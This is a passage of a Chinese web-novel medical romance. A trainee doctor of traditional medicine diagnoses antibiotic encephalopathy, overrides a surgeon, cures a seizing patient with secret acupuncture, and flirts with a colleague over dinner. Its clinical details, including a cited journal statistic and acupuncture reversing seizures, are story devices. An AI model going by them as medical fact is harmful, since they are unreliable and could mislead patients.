"病例讨论要开始了。"方晓指了指已经站到投影前的主任，嘴角挂着那抹熟悉的、玩味的笑。 但在转身的瞬间，李青荷分明看到他耳尖也泛起了一丝可疑的红晕。 他不动声色地将病历本往她那边推了推，手指点在神经系统查体记录上，"你看这个扑翼样震颤的描述。" 李青荷突然伸手按住那页病历，指尖正好覆在方晓的食指上。 两人同时一怔，她却没立即缩回手："所以那些异常行为..." "不是骚扰，是药物毒性反应。"方晓的声音不自觉地柔了下来。 普外科刘主任听到方晓的话后，恶狠狠的看过来，会议室内的空气瞬间凝固。 刘主任拍案而起，茶杯里的水剧烈晃动，在他白大褂上溅开一片深色水渍。 他额角的青筋暴起，手指直指方晓："你一个中医医生，竟敢质疑我用药？" 声音震得投影幕布微微颤动。 所有人的目光如聚光灯般射来。 李青荷感觉自己的后背瞬间绷紧，手中的钢笔不自觉地抵住了记录本，在纸上洇开一小片墨迹。 她余光瞥见方晓的侧脸——他下颌线绷紧了一瞬，又很快恢复平静。 "这位主任，"方晓的声音出乎意料地温和，却带着不容置疑的坚定，"中医也可以讨论用药的。" 他缓缓站起身，白大褂下摆扫过李青荷的指尖，"但今天讨论的不是中西医，而是患者的安危。" 说着，方晓走向投影仪，步履沉稳。 李青荷注意到他后颈的发梢还带着微微的湿气，在白炽灯下泛着细碎的光。 "这是去年《柳叶刀》发表的病例。"方晓调出一篇文献，手指在触控板上轻点放大关键段落，"头孢哌酮导致的精神症状，血药浓度超过100mg/L时发生率高达17%。" 刘主任的脸色由红转青。方晓却突然转向李青荷："李医生，能否解释下"药毒攻心"的中医机理？" 李青荷猝不及防被点名，手指一颤，原子笔滚落在地。 她弯腰去捡时，发梢扫过方晓垂落的手背。起身时，她发现方晓已经蹲下身，将那支原子笔递到她面前。 "药毒入血，上扰神明。"她接过钢笔，声音渐渐坚定，"就像《伤寒论》中记载的"误下谵语"。" 方晓眼中闪过一丝赞赏，转身面对众人："所以西医的抗生素脑病，中医称为药毒攻心。" 刘主任的气势明显弱了下来："那...那现在..." "立即停用头孢哌酮。"李青荷突然站起来，声音清亮，"改用哌拉西林他唑巴坦，我和方医生去看看情况，试试看能不能用针灸治疗。" 第142章 试一试 第一百四十二章 试一试 “等等！”刘主任的脸色赤红，直接站起来，“抗生素脑病，你的意思是说我们的治疗有错误？” 会议室里的空气仿佛凝固了。 刘主任拍在桌上的手掌微微发颤，白大褂袖口沾着的碘酒痕迹随着他的动作晃出一道刺眼的黄褐色。 "方医生，"刘主任的声音像是从牙缝里挤出来的，"你一个中医科的，还是进修医生，也配质疑我们外科的用药方案？" 方晓的手指轻轻点在投影幕布上那篇《柳叶刀》文献的图表处，指尖在灯光下泛着冷白的光泽。 他转头时，眼睛微微眯起，嘴角却挂着若有若无的笑意。 "刘主任，"他的声音不紧不慢，"医学没有科室界限。患者出现精神症状是在术后第三天，正好与头孢哌酮血药浓度峰值时间吻合。" “虽然说抗生素脑病不常见，但根据患者的情况分析，这是第一选择。” 李青荷看见方晓说话时喉结轻轻滑动，后颈处有一缕头发不服帖地翘着，在空调风中微微颤动。 她无意识地攥紧了手中的原子笔，墨水在记录本上洇开一小片蓝色。 "放屁！"刘主任猛地抓起茶杯砸在桌上，茶水溅在他胸牌上，"我的患者我做主！全院会诊，没你这么会的！" 茶杯与桌面碰撞的脆响让李青荷肩膀一颤。 她感觉方晓的白大褂衣角轻轻擦过她的手背，带着淡淡的檀香和消毒水混合的气息。 不知道为什么，这种古怪的味道似乎有镇定凝神的作用，李青荷心中坦然，并没有因为刘主任的暴怒而出现情绪上的改变。 "刘主任，"方晓突然向前迈了一步，正好挡在李青荷与刘主任之间，"您白大褂上沾的是碘伏吧？对酒精过敏的人接触这个会起皮疹。" 刘主任下意识捂住袖口，脸色由红转青。会议室里响起几声压抑的轻笑。 方晓看着刘主任，认真的说："刘主任，患者现在需要立即停用头孢哌酮，进行血液净化。中医科的醒脑开窍针可以辅助治疗精神症状，行不行，我去针灸，扎两针肯定扎不坏就是。" 他说"醒脑开窍"四个字时，尾音微微上扬，目光却飘向李青荷。 "李医生，"一人突然点名，"你怎么看？" 李青荷感觉所有人的目光都像聚光灯般射来。 她张了张嘴，却发现方晓正用钢笔在病历本边缘画了个小小的穴位示意图——百会、人中、内关。 "我..."她的声音有些发颤，但看到方晓鼓励的眼神后突然坚定起来，"我同意方医生的诊断。患者瞳孔对光反射迟钝，但眼底正常，这符合药毒性脑病特征。" 刘主任冷笑一声："李青荷，你跟着个中医瞎起什么哄？这病别说是你，就算是李老来了，也不能说用针灸就解决问题。" 方晓突然伸手按在李青荷面前的桌面上，修长的手指正好覆住她刚才洇开的墨迹。 他俯身时，李青荷闻到他领口传来若有若无的男人气息。 "李医生，"他声音压得很低，温热的气息拂过她耳尖，"你睫毛上沾了根棉絮。" 李青荷呼吸一滞，还没反应过来，就见方晓直起身，指尖果然拈着一丝白色纤维。她的耳根瞬间烧了起来。 "够了！"刘主任暴怒地扯开领带，"不能任由这两个小年轻胡闹下去。李医生，你要是坚持的话，我会找李老。" “刘主任，我说几句。”方晓认真的看着刘主任，“我说几句，至于患者怎么治疗，根据三级查房的要求，还是您做决定。” 刘主任听方晓这么说，脸色好看了少许。 "请看这里，"他的激光笔红点停在颞叶区域，"虽然没有明显器质性病变，但患者脑脊液压力增高，这正是..." 他突然咳嗽两声，喉结滚动了一下。李青荷注意到他额角渗出细密的汗珠，在灯光下闪着微光。 "方医生？"她忍不住轻声问。 方晓摆摆手，却悄悄将左手撑在桌沿。李青荷看见他修剪整齐的指甲因为用力而微微发白，似乎遇到了什么难题。 刘主任抓住机会嘲讽："连话都说不利索，还在这装专家？ 李青荷突然站起来，米色连衣裙在空调风中轻轻摆动。 她伸手接过方晓手中的激光笔，指尖相触时感受到不正常的灼热。 "方医生刚刚在诊室做了一次针灸，还没怎么休息，连晚饭都没吃。"她的声音清亮得让自己都吃惊，"但他说得没错，这是典型的抗生素脑病。如果不立即处理，患者可能陷入昏迷。" 方晓惊讶地挑眉，镜片后的眼睛闪过一丝笑意。 他借着调整站姿的动作，肩膀轻轻碰了碰李青荷的手臂，像是一种无言的感谢。 刘主任还要发作，护士长突然冲进会议室："不好了！3床患者抽搐发作，血氧掉到85%了！" "上氧！准备镇静剂！"刘主任转身就要往外冲。 "不行！"方晓一把拽住刘主任的胳膊，"苯二氮卓类药物会加重意识障碍。" 他的声音因为急切而有些沙哑，喉结又滚动了一下。李青荷看见他后颈的发梢已经被汗水浸湿，贴在皮肤上。 "我去。"她突然说，伸手取下方晓胸前的听诊器，"中医科有处理药毒攻心的经验。" “还是我来吧。”方晓道，“刘主任，你们做你们的处理，我给患者扎几针。万一呢？” 他说话的声音拉长，意味深长。 刘主任一怔，他很清楚万一患者抢救失败，导致最后死亡的话甚至都不会有什么明确诊断。 而这时候只有中医科有“抗生素脑病”的诊断。 真要是那样，自己就有把柄落在眼前这个实习生的手里。 他不是怕这个实习生，而是害怕李青荷身后的李老。 心念电闪，刘主任点了点头，“行，抢救！” 方晓伸手，李青荷下意识把一次性针灸针交给他。 “行么？” “试试看。”方晓跃跃欲试。 已经很久没有用【方家神鬼针】了。 第143章 急救（上） 第一百四十三章 急救（上） 病房里监护仪的警报声刺耳地响着。 刘主任带着团队围在病床左侧，各种抢救医嘱像连珠炮般下达。而右侧，方晓正捻着一根银针，在灯光下微微转动针尖。 他的手法轻柔而又坚定，说不出的自信。 李青荷看见他的手法猛地一怔——那根本不是爷爷教的"飞经走气"式。 方晓的拇指与食指以一种奇特的弧度捏着针柄，小指微微翘起，像在弹奏某种无形乐器。 "扶住他的头。"方晓突然说，声音低沉而笃定。 李青荷下意识伸手固定患者头部，指尖却不小心碰到方晓正在进针的手背。 那一瞬间，她感觉方晓的皮肤烫得惊人，而自己的手指像被静电击中般感觉。 小脸一红，但李青荷瞬间把念头抛去。 作为一名中医，这是她第一次参加抢救，所以李青荷很好奇方晓这个爷爷看中的进修医生到底要怎么做。 "百会穴，要这样。"方晓忽然倾身，白大褂的前襟几乎贴上她的手臂。 他右手持针，左手顺其自然的覆上李青荷扶着患者的手背，带着她的手指调整角度，"不是垂直下针，要斜刺15度。" 他的掌心完全包裹住她的手，热度透过两层橡胶手套清晰传来。 李青荷能闻到他领口散发出的气息——消毒水混合着一丝淡淡的不知名的香味儿，还有全力以赴救治患者后特有的那种微咸的疲惫感。 "这是..."她的声音卡在喉咙里，看着银针以不可思议的弧度进入百会穴。 "方家手法。"方晓的唇几乎贴上她耳廓，每个字都像带着电流般钻入耳道。 他说话时下唇若有若无擦过她耳尖最脆弱的那片软骨，温热吐息在耳蜗里激起细小的回荡，"看好了，好好感受。" 李青荷猛然感觉方晓忽然用齿尖轻轻叼住自己一缕散落的发丝，在银针反光的掩护下，缓慢地将那缕头发别回她耳后。 不对，是错觉！ 李青荷有些害羞，自己怎么会有这种错觉？ 可是错觉归错觉，但方晓的确把一绺头发别到而后。 方晓的指节顺着李青荷的颈侧线条滑下，医用橡胶手套的纹理摩挲过肌肤，激起一片细小的疙瘩。 "四神聪要这样进针。"他的胸膛完全贴上她的后背，隔着两层白大褂都能感受到对方加速的心跳。 右手从她腋下穿过，带着她的手握住针柄，左手却危险地搭在她腰际，拇指恰好卡在髋骨凹陷处。 银针在灯光下划出弧光时，李青荷感觉到方晓的鼻尖埋进她发间深深一嗅。他喉结滚动的声音近在咫尺："别走神，好好看。 针尖刺入皮肤的瞬间，李青荷忽然感觉方晓咬住自己的耳垂轻咬了一下。 不是情人之间的那种咬，而是带着针灸师特有的精准力道——足够留下转瞬即逝的痛感，又立刻用舌尖抚过齿痕。 李青荷腿一软，后腰撞上他早已等候多时的左腿。 依旧是错觉，可李青荷完全搞不懂自己为什么会出现这种错觉。 "专心。"方晓低笑，震动的胸腔像第二层皮肤贴着她的脊背。他右手带着她捻转针尾，每转一圈，左手就沿着她腰线上升一寸，"百会穴要留针三刻，多了少了都不行。" 监护仪的滴答声突然变得遥远。 李青荷数不清是因为缺氧还是感觉中方晓正蹭自己颈动脉的举动，视野边缘开始泛起虹彩。 虽然知道是幻觉，可李青荷还是很享受这一刻。 她能清楚的感知到方晓的犬齿抵在搏动的血管上，没用力，但存在感强烈得像另一根银针。 "比如..."他忽然抽走她掌心的针包，替换成自己发烫的手。 他故意用无名指蹭过她戴戒指的位置——虽然那里空无一物，"教你真正的"以气运针"。" 最后一个字化作气息呵在她微张的唇间。 方晓的睫毛垂下时扫过她脸颊，像最细的毫针划过。而他的唇，在即将相触的前一秒突然转向，擦着嘴角停在她耳畔。 "不过现在...患者血氧很快就要到92了。 他突然从针包中夹出四根银针，指缝间寒光闪烁。 李青荷倒吸一口气——这分明是爷爷提过的"流星赶月"，可爷爷说过这手法已经失传。 不对，也不是流星赶月，方晓的手法和爷爷说的不一样。 到底是怎么回事？！ 李青荷有些茫然，自己今天到底怎么了？ 就在她恍惚的时候，四根针几乎同时刺入穴位，方晓的腕部划出四道优美弧线。 随着他运针，患者抽搐的四肢竟然渐渐平静下来。监护仪上，血氧数值开始缓慢回升。 "82...85...88..."护士小声报数。 刘主任那边突然传来一声惊呼："地西泮静推完毕，但患者瞳孔还是散大！" 方晓头也不抬，手指已移向人中穴："李医生，帮我固定他的下颌。" 李青荷刚要伸手固定患者下颌，忽然感觉身侧的空气微微凝滞——方晓不着痕迹地靠近了半步，膝盖几乎贴上她的腿侧，却又在即将触碰的瞬间停住，只留下一丝若有若无的体温。 "不是这个角度，"他的声音低哑，带着一丝不易察觉的紧绷，"站过来些。" 方晓的呼吸拂过李庆华的耳际，温热而克制。 李青荷下意识屏息，稍稍挪动脚步，却发现自己被圈在了方晓与病床之间狭小的空隙里。 他的胸膛离她的后背不过寸许，白大褂的布料随着呼吸轻轻起伏，几乎要贴上她的肩胛。 李青荷能清晰地感受到他胸膛的震动——心跳又快又重，像是某种隐秘的共鸣，一下一下敲在她的脊背上。 与此同时，李青荷甚至感觉自己的心跳隐隐和方晓的心跳开始同步。 方晓的手从她身侧绕过，去取床头的银针。 他的袖口擦过她肘弯内侧，带起一阵细微的电流。 李青荷的指尖微微发麻，却不敢动，只能任由他的气息从身后笼罩下来——古怪而神秘的味道里混着淡淡的消毒水味，还有一丝若有若无的、属于他的温热。 第144章 急救（下） 第一百四十四章 急救（下） "别紧张，"他的声音几乎是贴着她耳后响起，低沉而轻缓，"只是扎针而已。" 可他的呼吸分明也乱了节奏。 "人中穴要这样。"方晓的右手从她肩侧绕过，形成一个半包围的姿势。他的前臂擦过她耳际，带起一阵细微的抖动，"针尖朝向鼻根，进针三分即止。" 李青荷看着那根针以刁钻的角度刺入，她正想细看，方晓已经抽手，针灸针在瞬间就已经落进去。 "三阴交..."方晓的声音突然有些哑，他单膝跪在床沿去够患者小腿，白大褂下摆蹭过李青荷的膝盖，"能帮我卷一下裤管吗？" 李青荷俯身时，一缕乌黑的发丝从耳后滑落，在空气中划出一道柔和的弧线。 发尾轻轻摇曳着，在距离方晓手背仅毫厘之处飘过——近到能看清他指节上淡青色的血管微微绷紧，却终究没有真正触碰。 方晓的呼吸微不可察地滞了一瞬。 他修长的手指悬在穴位上方，像是被某种无形的力量牵绊住，指腹下的皮肤泛起细微的颤抖。 阳光在他指尖投下温暖的光晕，将那瞬间的停顿照得无所遁形。 李青荷看见他喉结轻轻滚动，睫毛低垂，在眼下投出浅浅的阴影。 方晓的小指无意识地蜷了蜷，银针在指间转过一个微妙的角度，折射出一道转瞬即逝的流光。 "这里..."方晓的声音比方才低了八度，尾音带着不易察觉的沙哑。 白大褂的领口随着他调整姿势的动作微微敞开，露出一截线条分明的锁骨，在灯光下泛着细腻的光泽。 病房里的嘈杂忽然变得很远。 李青荷闻到他袖口飘来的气息——消毒水苦涩的味道里，混着一丝温暖的琥珀香，像是冬日里偶然捕捉到的一缕阳光。 她的耳根突然发烫，那缕不听话的发丝还悬在两人之间的空气里，随着呼吸轻轻颤动。 方晓终于继续了进针的动作，可他的耳廓已经被阳光染上薄红，从鬓角一直蔓延到颈侧，在冷色调的灯光下格外醒目。 银针刺入皮肤的瞬间，方晓抿紧的唇角松开些许，呼出的气息拂动了李青荷那缕垂落的发丝。 发梢在两人之间的空气中轻轻摇晃，像某种未说出口的暗号。 "这里。"他的手指停在踝骨上方三寸，轻轻一按，患者的小腿上立刻出现个浅窝，"看清楚了，要逆着经脉走向进针。" 就在方晓准备下针时，患者突然剧烈呛咳，身体猛地弓起。 李青荷反应极快，整个人扑上去压住患者肩膀。 这个动作让她直接撞进方晓怀里，她的后背紧贴着他的胸膛，甚至能感觉到他瞬间屏住的呼吸。 "别动！"方晓一手环过她腰侧固定患者，声音绷得发紧。他的嘴唇几乎贴着她耳尖，"针还在重要穴位上。" 李青荷瞬间僵住了呼吸。 方晓的手臂虚悬在她腰后，保持着恰到好处的距离——既没有真正触碰，却又让她能清晰感受到那股灼人的体温。 他的白大褂袖口随着呼吸轻轻起伏，每一次细微的晃动都带起一阵带着男人气息的气流，若有似无地拂过她腰际的衣料。 她能感觉到他喉结滚动的频率变得不太规律，说话时声带的震动透过两人之间稀薄的空气传来，像某种隐秘的摩斯密码。 方晓的心跳声透过两层布料产生微妙的共鸣，时快时慢的节奏与她胸腔里的鼓动渐渐同步。 与此同时，方晓似乎也察觉到了这种危险的默契，他的手臂肌肉微微绷紧，在即将碰到她腰线的瞬间堪堪停住。 一滴汗珠顺着他的太阳穴滑落，悬在下颌线上摇摇欲坠，在灯光下折射出细碎的光。 他的呼吸明显变得深长，每一次吐息都让两人之间那不足寸许的距离变得更加灼热。 "别动..."他的警告带着气音，尾音消失在两人衣料摩擦的窸窣声中。 李青荷能感觉到他胸膛起伏的幅度变大了，白大褂的纽扣在某个瞬间几乎要蹭到她的后背，却又在最后关头克制地拉开距离。 监护仪的滴答声突然变得震耳欲聋。在这方寸之间的暧昧距离里，所有未被说出口的悸动都在沉默中疯狂滋长。 监护仪突然发出长鸣——血氧突破90了，就像方晓之前说的那样。 "啊？患者怎么好了？！"护士小声惊叹。 方晓这才缓缓退针，但环着李青荷的手却没立即松开。他的拇指无意识地在她的白大褂腰侧摩挲了一下，像在确认什么。 "最后一针。"他的声音低得只有她能听见，"合谷穴，要配合呼吸节奏。" 李青荷转头时，鼻尖差点擦过方晓的下巴。 她看见他睫毛在灯光下投下的阴影微微颤动，眼睛里的目光专注得近乎虔诚。 "吸气。"方晓说。银针随着患者胸廓隆起精准刺入。 李青荷不自觉地跟着做了个深呼吸，却吸进满肺方晓的气息——消毒水、汗水、还有那种说不清道不明的，独属于他的味道。 "吐气。"方晓的手指轻轻捻动针尾。 随着患者一声长叹，所有监护指标突然开始稳步回升。 病房里爆发出一阵欢呼，但李青荷只听见方晓在她耳畔的一声轻笑，温热潮湿，像羽毛扫过。 "配合得不错。"他终于松开她，却在撤手时用小指勾了勾她的衣角，像个隐秘的告别礼。 李青荷转身时，发现方晓的白大褂背后全湿透了，紧贴在肩胛骨的轮廓上。 "方医生，"她鼓起勇气指向他的手腕，"你的阵法，是家传的么。" 方晓突然将食指竖在唇前，镜片后的眼睛弯成月牙："秘密。"他凑近时，白大褂袖口擦过她的纽扣，"下次教你针法时再告诉你。" 说着，方晓把手伸进口袋里，将患者的病气复制到【复制符】上。 有了一个新的复制符，方晓心里有点小开心。 最近一直没有治病，导致方晓心里的安全感都不够。 刘主任走过来，脸色复杂地看着监护仪："还真是...抗生素脑病？" “针灸真的能治好？” 虽然他不信， 可这一切都展现在眼前，不由得刘主任说三道四。 方晓已经退到窗边，逆光中他的轮廓镀着一层金边。 他冲李青荷眨眨眼，手指在身侧悄悄比了个针灸的手势——拇指与食指捏合，其余三指舒展如兰。 第145章 进修生能不能来我们科 第一百四十五章 进修生能不能来我们科 所有人都愣住，包括李青荷。 哪怕是中医世家出身的李青荷都没想到针灸竟然会“妙手回春”，立竿见影。 刘主任首先回过味儿，指挥手下医生继续为患者做进一步检查，自己则快步走向方晓，镜片后的目光复杂难辨。 "方医生，"刘主任压低声音，手指无意识地摩挲着听诊器，"这到底......" 方晓微微一笑，指尖还夹着那根银针，在灯光下泛着冷冽的银光。 "只是暂时稳定了，还需要后续治疗。但是呢，应该没问题了，请刘主任放心。"他的语气平静，仿佛刚才的一切不过是再普通不过的诊疗。 而会诊时候的一些小小的不愉快，方晓似乎根本没记在心上似的。 李青荷站在病床旁，指尖微微发麻。她刚刚亲眼见证了不可能——一个被判定为抗生素脑病、几近昏迷的患者，在几针之后，竟奇迹般地恢复了平稳。 李青荷的目光像是被无形的丝线牵引，黏着在方晓的背影上。 他的白大褂在走动时微微飘动，隐约勾勒出腰线的弧度，布料随着步伐轻轻摩擦，发出几不可闻的窸窣声。 她注意到他后颈处有一缕不听话的发丝，随着他低头的动作滑落，在冷白的灯光下泛着细碎的光。 方晓抬手调整输液速度时，袖口上滑，露出一截修劲的手腕。青色的血管在皮肤下蜿蜒，指节分明的手指在调节器上轻轻拨动，每一个细微的动作都带着令人屏息的精准。 李青荷的指尖无意识地蜷缩，呼吸不自觉地放轻。 方晓似乎察觉到了她的视线，忽然侧过脸，眼睫低垂，在眼下投落一小片阴影，唇角却若有似无地勾起，像是在笑。 那一瞬间，李青荷的耳尖发烫，像是被他的目光灼伤。 方晓收回视线，继续手上的工作，可他的动作却微妙地放缓了。他整理器械时，修长的手指在金属托盘上轻轻滑过，指腹擦过针管边缘，动作轻缓得近乎暧昧。 李青荷的喉咙微微发紧。 方晓忽然抬头，目光直直地撞进她的眼里。 他的睫毛轻轻颤了一下，眼底像是藏着一汪深潭，平静的表面下暗流涌动。 李青荷的心跳漏了一拍。 方晓的指尖轻轻敲了敲病历本的边缘，节奏缓慢而清晰，像是某种隐秘的摩斯密码。他的唇微微张开，似乎想说什么，却在最后一刻停住，只是用舌尖轻轻润了下唇角。 那一瞬，李青荷的呼吸彻底乱了。 病房里的医护人员低声议论着，有人偷偷拍照，有人小声惊叹。 方晓却只是低头整理袖口，神情淡然，仿佛对周围的骚动浑然不觉。 "李医生。"他突然抬头，目光越过人群，精准地落在李青荷的身上，"能帮我记录一下患者针灸后的反应吗？" 李青荷一怔，随即点头，快步走过去。 李青荷伸手去接病历本时，指尖不经意地掠过方晓的手背。那一瞬的触碰极轻，却像带着细微的电流，让她呼吸微微一窒。 他的皮肤微凉，却在她碰到的瞬间仿佛被她的温度点燃，隐隐发烫。她能感觉到他手背上淡青色的血管在薄薄的皮肤下微微跳动，指节修长而分明，带着医生特有的干净与克制。 李青荷的指尖只停留了不到半秒，却像是被什么无形的力量牵引，迟迟没有完全抽离。 方晓似乎也察觉到了这微妙的停顿，手指轻轻一颤，却没有躲开。 两人的肌肤在病历本的遮掩下若有似无地相贴，热度在那一小片接触的地方悄然蔓延。李青荷能闻到他身上的男人气息，莫名让人心跳加速。 方晓的拇指无意识地摩挲了一下病历本的边缘，指腹擦过她的指尖，动作轻得几乎像是错觉。 嘤嘤嘤，李青荷的耳尖瞬间烧了起来，却故作镇定地接过本子，假装专注地低头记录。 可她的余光却瞥见——方晓的手指微微蜷起，像是想要留住那一瞬的温度，却又克制地收回。 空气中仿佛有什么无形的东西在拉扯，暧昧得让人心尖发颤。 见李青荷的耳朵发红，方晓的唇角微不可察地扬了扬，转身走向患者，声音低沉而清晰："接下来，我们需要观察十二小时内的神经反应。" 刘主任皱眉，终于忍不住开口："方医生，这不符合常规诊疗流程，我们需要先做脑部CT——" "当然可以。"方晓头也不抬，手指轻轻搭在患者腕脉上，"但在这之前，我建议先稳定他的气机，否则检查过程中可能会再次恶化。" 他的语气不卑不亢，却带着不容置疑的笃定。刘主任张了张嘴，最终没再反驳，只是深深地看了方晓一眼，转身离开。 病房里的气氛微妙地缓和下来，护士们开始按照方晓的指示调整输液速度，而李青荷则站在一旁，默默记录着患者的各项指标。 患者的各项指标都趋于平稳，很明显方晓刚刚已经用针灸治愈了棘手的病症。 李青荷觉得一切都是那么的不可思议。 她的余光瞥见方晓的侧脸——笔挺的鼻梁，微抿的薄唇，那双深邃的眼睛专注而沉静。 他修长的手指偶尔翻动患者的眼皮，或是轻轻按压穴位，每一个动作都精准得令人惊叹。 "李医生。"方晓突然开口，声音很轻，只有她能听见，"待会儿能单独聊聊吗？" 李青荷笔尖一顿，心跳陡然加快。她抬头，正对上他深邃的目光，那里面似乎藏着某种她读不懂的情绪。 "好。"她听见自己回答，声音比想象中要稳。 方晓微不可察地笑了，指尖轻轻敲了敲病历本的边缘，像是在无声地传递某种默契。 而病房外，刘主任站在走廊尽头，掏出手机，拨通了一个号码。 “李老，我是小刘。”刘主任恭敬的说道，“我这面有个会诊，您孙女和一个进修医生来的。” 说着，他顿了一下。 “那个进修医生给了诊断，现在患者已经脱离危险。我的意思是，进修生能不能来我们科。” 第146章 吃口饭吧 第一百四十六章 吃口饭吧 观察了一个小时，患者已经脱离危险。 这一切都在方晓的预料之中，但他还是谨慎的观察了一个小时，等患者状态完全恢复后这才和李青荷离开。 “饿了吧，吃口饭，我请你。”李青荷道。 方晓揉了揉微微发酸的眼睛，唇角却浮起一丝若有若无的笑意。他慢条斯理地将白大褂脱下，露出里面熨帖的浅灰色衬衫，袖口挽起，露出一截线条分明的手腕。 "好啊。"他的声音低沉，带着一丝不易察觉的愉悦，"不过，应该是我请你才对。" 李青荷微微一愣，抬眼看他时，正撞上方晓深邃的目光。 午后的阳光透过走廊的窗户斜斜地洒在他身上，勾勒出他挺拔的轮廓。他的领口微微敞开，锁骨若隐若现，喉结随着说话轻轻滚动，莫名带着几分感性。 "毕竟，"方晓忽然凑近一步，声音压得很低，带着一丝若有若无的沙哑，"你刚才配合得很好。" 他的气息拂过她的耳畔，温热而干净，带着淡淡的男人味道。李青荷的耳根瞬间发烫，手指不自觉地绞紧了白大褂的衣角。 方晓似乎很满意她的反应，眼底闪过一丝笑意。他后退半步，绅士地拉开距离，却又在转身时，修长的手指轻轻擦过她的手腕，像是不经意，又像是刻意为之。 方晓微微侧身，走廊的灯光在他轮廓分明的侧脸投下细碎的光影。 他垂眸看着李青荷略显迷茫的表情，喉结轻轻滑动了一下。 "那......我来选？"他的声音放得很轻，尾音微微上扬，像是带着某种隐秘的邀请。 李青荷点头的瞬间，方晓忽然抬手，指尖轻轻拂过她耳边一缕散落的发丝。 他的动作自然得仿佛只是顺手为之，却在收回手时，指节若有似无地擦过她的耳垂——那一小块肌肤立刻自然地泛起薄红。 嘤嘤嘤。 "你这里有......"方晓的嗓音忽然变得低哑，目光落在她耳后。他抬起手，却在即将触碰到时停住，只是用眼神示意，"一根掉落的睫毛。" 两人之间的距离近得能闻到彼此呼吸里的气息。 李青荷闻到他身上淡淡的男人味道中，混着一丝温暖的感觉，像是冬日里偶然捕捉到的一缕阳光。 而方晓则闻到她发间若有若无的栀子花香，甜而不腻，让人忍不住想靠近。 他的指尖最终没有真正触碰她，却在收回时，小指似有若无地勾了一下她白大褂的衣角。 这个细微的动作让李青荷呼吸一滞，不自觉地咬住了下唇。 方晓的眼眸暗了暗，忽然压低声音："或者......"他微微倾身，温热的吐息拂过她耳畔，"我有些累了。" 走廊尽头的灯光忽然闪烁了一下，将两人交叠的影子投在墙上，暧昧地纠缠在一起。 李青荷跟在他身后，目光不自觉地落在他的背影上。 方晓走路的姿态从容而优雅，衬衫下的肩背线条流畅有力，腰身劲瘦，在阳光下显得格外好看。 她忽然意识到，自己似乎从未真正了解过这个看似温润如玉的医生。他的身上，藏着太多秘密，也藏着太多让人心跳加速的可能。 方晓拿出手机，搜索周围的美食。 其实他吃什么都无所谓，今天复制了【抗生素脑病】，的确算是意外之喜。 而且刚来省城，似乎就得到了李老的认可，出奇的顺利。 方晓心生安稳，一切似乎都变得美好起来。 随便找了一家西餐厅，方晓拿着手机问李青荷，“李医生，你看这家西餐厅行么。” 李青荷正低头整理餐巾，闻言抬眸，视线恰好落在方晓递来的手机上。她的指尖不经意碰到屏幕，两人的手在暖黄的灯光下几乎交叠。 "这家……"她刚要说话，突然发现手机屏幕上根本不是餐厅界面，而是一张针灸穴位的3D解剖图。 “呃，你拿错了。” ？？？ 方晓也怔了下，他看到错误的图片后也笑了笑。 “平时我都是自学。” 方晓的指尖在屏幕上轻轻一划，图片放大，露出一个被红圈标注的特殊穴位。他的声音带着若有若无的笑意："风池穴，主治头痛眩晕。" 李青荷怔住，抬眼时正对上他似笑非笑的目光。 “那行，就这家好了。”李青荷真想有一阵凉爽的风吹过，给自己降降温。 她觉得自己已经红温了。 餐厅很近，两人进去后坐下。 方晓的眼睛反射着餐厅柔和的灯光，却遮不住眼底那抹意味深长的神色。 他的指节在桌面上轻轻叩击，节奏恰好与李青荷加快的心跳重合。 “李医生，我怎么觉得你心不在焉的。”方晓问道。 “我……我……今天有些不舒服，头疼。”李青荷慌乱解释。 “头疼？我推拿手法一流，要不要试试？”方晓问道。 他的尾音微微上扬，带着一丝若有若无的试探。 餐桌下，他的皮鞋尖不经意地碰到了她的高跟鞋，又绅士地退开，却在空气中留下若有似无的暧昧温度。 侍者适时送来餐前酒，方晓这才慢条斯理看着李青荷。 他举起酒杯时，袖口微微下滑，露出手腕内侧一道若隐若现的淡青色脉络，在灯光下显得格外的有安全感。 "敬我们的..."他顿了顿，镜片后的眼睛微微眯起，"第一次相识。" 李青荷的酒杯悬在半空，脸颊因为他的直白而微微发烫。方晓却已经优雅地抿了一口酒，喉结滚动间，一滴晶莹的酒液沾在他的唇边。 他故意没有擦，只是用带着笑意的目光看着她，像是在等待什么。 李青荷愈发慌乱，她低下头，“你跟谁学的推拿？” 她想要把话题岔开。 “自学成才，比不上李医生家学渊源，不过话说回来，你要是不舒服我给你按两下，很快就好。” 说着，方晓站起来，走到李青荷身后。 李青荷全身僵硬，她下意识的想要说“不”，可不知道为什么，这个“不”字却没说出口。 下一秒，一双温暖的手压在头顶。 像是触电了似的，李青荷全身轻轻一抖。 第147章 头疼？我给你按一下（上） 第一百四十七章 头疼？我给你按一下（上） 方晓的指尖轻轻落在她的发间，动作轻柔却又有些霸道。 他的掌心贴着她柔和的发丝，指腹沿着颅骨线条缓缓摩挲，力道温柔却不容抗拒。 常年握手术刀的薄茧擦过她最脆弱的耳后肌肤时，李青荷不自觉地缩了缩脖子，却被他另一只手轻轻扶住肩膀。 "别躲。"他的声音带着气音，温热的吐息缠绕着她泛红的耳廓，"你这里都绷紧了，你要是这样的话，我得更用力才行。" 正说着，方晓的拇指突然加重力道，在李青荷的百会穴上画着圈按压。 这一下来的特别突然。 李青荷咬住的下唇间漏出一声轻哼，后颈激起一片细小的改变。 嘤嘤嘤，餐厅里还有人，李青荷瞬间红温。 方晓的呼吸明显沉了几分，指尖却依然保持着专业的节奏，只是无名指不知何时勾住了她一缕散落的发丝。 李青荷的耳尖红得几乎透明，那声细弱的轻哼在安静的餐厅角落显得格外清晰。 她死死咬住下唇，却抑制不住脖颈泛起的一片细密小疙瘩——方晓的指尖正沿着她的颈椎缓缓下滑，指腹的薄茧剐蹭着最脆弱的皮肤，激起一阵令人接受不了的触电感。 "嘘..."他的呼吸忽然贴近，灼热的气息拂过她红透的耳廓，"放松，别让人听到。" 方晓的尾音带着气声的震颤，像羽毛搔过鼓膜。李青荷浑身一颤，突然意识到邻座的情侣正往这边张望。 真是羞死人了，李青荷想要制止方晓接下来的动作。 可那双手带给自己的是舒适，是安全，李青荷心念电闪后还是没说话。 方晓的右手依然保持着专业的按压姿势，左手却借着整理她衣领的动作，无名指悄悄缠上那缕不听话的发丝。 发尾在他指节绕了两圈，随着他按摩的节奏轻轻扯动——每一下微妙的牵扯都让发根传来细密的刺痒，像是某种隐秘的惩罚。 "百会穴很重要。"方晓的声音比平时低哑许多，拇指突然加重力道按在耳后凹陷处。 李青荷猛地仰头，后脑堪堪擦过他的锁骨，从她的角度正好看见他滚动的喉结，和衬衫领口下若隐若现的锁骨凹陷。 